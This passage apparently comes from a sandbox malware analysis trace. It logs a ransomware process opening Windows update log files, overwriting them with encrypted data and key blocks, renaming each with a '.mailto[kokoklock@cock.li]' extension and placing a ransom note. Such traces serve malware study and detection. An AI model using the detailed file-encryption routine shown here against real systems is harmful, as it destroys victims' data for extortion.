lpNumberOfBytesWritten=0x2603fb84*=0x20, lpOverlapped=0x0) returned 1 [0081.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x342e130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x342e130*, lpNumberOfBytesWritten=0x2603fbb0*=0x8, lpOverlapped=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x2603fbc8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x2603fbc8*, lpNumberOfBytesWritten=0x2603fbb0*=0x4, lpOverlapped=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2603fbb0*=0x4, lpOverlapped=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2603fbb0*=0x6c, lpOverlapped=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2603fbb0*=0x20, lpOverlapped=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2603fbb0*=0x4, lpOverlapped=0x0) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e108) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0081.593] CloseHandle (hObject=0x350) returned 1 [0081.594] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.594] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" [0081.594] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" [0081.594] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.595] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl", dwFileAttributes=0x2020) returned 0 [0081.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.595] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.595] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.595] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c098) returned 1 [0081.595] RtlExitUserThread (Status=0x1) Thread: id = 1063 os_tid = 0x17a0 [0081.591] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl")) returned 0x2020 [0081.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl", dwFileAttributes=0x20) returned 1 [0081.598] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.598] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x260bfab8 | out: lpFileSize=0x260bfab8*=16384) returned 1 [0081.598] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x3ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.598] ReadFile (in: hFile=0x350, lpBuffer=0x260bfa8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x260bfa8c*, lpNumberOfBytesRead=0x260bfa88*=0x4, lpOverlapped=0x0) returned 1 [0081.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e108 [0081.599] NtQuerySystemTime (in: CurrentTime=0x260bfa64 | out: CurrentTime=0x260bfa64*=132121176394903711) returned 0x0 [0081.599] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x32c38509 [0081.599] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x7b4f7ceb [0081.599] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xe7704387 [0081.599] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xdf3be4e2 [0081.599] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xa32be845 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x821f48a9 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xb21a9569 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xcfb4fe1f [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x171437c3 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xf3a711e3 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x1ce2ecd4 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x4f08d6dd [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x74f7fdd9 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xc31525a4 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xcdf52bdc [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x3fab5fb3 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xa574731 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x6033d038 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xf4044c20 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xca27f99 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x15f3497b [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xd984c444 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x20c4c406 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xa67989f2 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x93e9c2ee [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x94671cf1 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xd987c455 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x1b460697 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x96984391 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0xdab21d71 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x358f1115 [0081.600] RtlRandom (in: Seed=0x260bfa70 | out: Seed=0x260bfa70) returned 0x3b6defb8 [0081.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.612] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x260bfa64, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x260bfa64*=0x4000, lpOverlapped=0x0) returned 1 [0081.613] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260bfa2c | out: lpNewFilePointer=0x0) returned 1 [0081.613] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x260bfa60, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x260bfa60*=0x4000, lpOverlapped=0x0) returned 1 [0081.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e680 [0081.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e680) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x260bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x260bfa5c*=0x20, lpOverlapped=0x0) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x342e770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x342e770*, lpNumberOfBytesWritten=0x260bfa88*=0x8, lpOverlapped=0x0) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x260bfaa0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x260bfaa0*, lpNumberOfBytesWritten=0x260bfa88*=0x4, lpOverlapped=0x0) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x260bfa88*=0x4, lpOverlapped=0x0) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x260bfa88*=0x6c, lpOverlapped=0x0) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x260bfa88*=0x20, lpOverlapped=0x0) returned 1 [0081.614] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x260bfa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x260bfa88*=0x4, lpOverlapped=0x0) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0081.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.615] CloseHandle (hObject=0x350) returned 1 [0081.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.615] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" [0081.615] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" [0081.615] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl", dwFileAttributes=0x2020) returned 0 [0081.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.616] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.616] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.616] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bda0) returned 1 [0081.616] RtlExitUserThread (Status=0x1) Thread: id = 1064 os_tid = 0x17a4 [0081.612] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl")) returned 0x2020 [0081.618] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl", dwFileAttributes=0x20) returned 1 [0081.618] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.618] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2613fec4 | out: lpFileSize=0x2613fec4*=8192) returned 1 [0081.618] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.618] ReadFile (in: hFile=0x350, lpBuffer=0x2613fe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x2613fe98*, lpNumberOfBytesRead=0x2613fe94*=0x4, lpOverlapped=0x0) returned 1 [0081.620] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6f8 [0081.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e630 [0081.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e608 [0081.620] NtQuerySystemTime (in: CurrentTime=0x2613fe70 | out: CurrentTime=0x2613fe70*=132121176395060008) returned 0x0 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xf75573f [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x60085fa7 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xf04b65ea [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x80ba2bfc [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xf0a88add [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x9e549267 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x90eaa171 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xf3e19eae [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x66e637ff [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xfbc8c745 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x71278af [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xb3250fb5 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xfc7284c1 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x62ae2410 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x37312e0 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x7748f3e [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xe76c5dcf [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xbc216402 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xd4bca12d [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xfc7d6872 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x9fe9513b [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xe200e040 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x3768d2c0 [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x187d230e [0081.620] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xc2cbff7b [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xc3ef09ae [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x15b55026 [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0xba51f388 [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x7aefe7cb [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x23cb2c85 [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x9e905bfa [0081.621] RtlRandom (in: Seed=0x2613fe7c | out: Seed=0x2613fe7c) returned 0x33526611 [0081.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6f8) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.632] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2613fe70, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2613fe70*=0x2000, lpOverlapped=0x0) returned 1 [0081.633] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2613fe38 | out: lpNewFilePointer=0x0) returned 1 [0081.633] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2613fe6c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2613fe6c*=0x2000, lpOverlapped=0x0) returned 1 [0081.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6f8 [0081.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6f8) returned 1 [0081.633] WriteFile (in: hFile=0x350, lpBuffer=0x342e748*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2613fe68, lpOverlapped=0x0 | out: lpBuffer=0x342e748*, lpNumberOfBytesWritten=0x2613fe68*=0x20, lpOverlapped=0x0) returned 1 [0081.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x342e658*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x342e658*, lpNumberOfBytesWritten=0x2613fe94*=0x8, lpOverlapped=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x2613feac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x2613feac*, lpNumberOfBytesWritten=0x2613fe94*=0x4, lpOverlapped=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2613fe94*=0x4, lpOverlapped=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2613fe94*=0x6c, lpOverlapped=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x342e630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x342e630*, lpNumberOfBytesWritten=0x2613fe94*=0x20, lpOverlapped=0x0) returned 1 [0081.634] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2613fe94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2613fe94*=0x4, lpOverlapped=0x0) returned 1 [0081.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e630) returned 1 [0081.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e658) returned 1 [0081.634] CloseHandle (hObject=0x350) returned 1 [0081.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 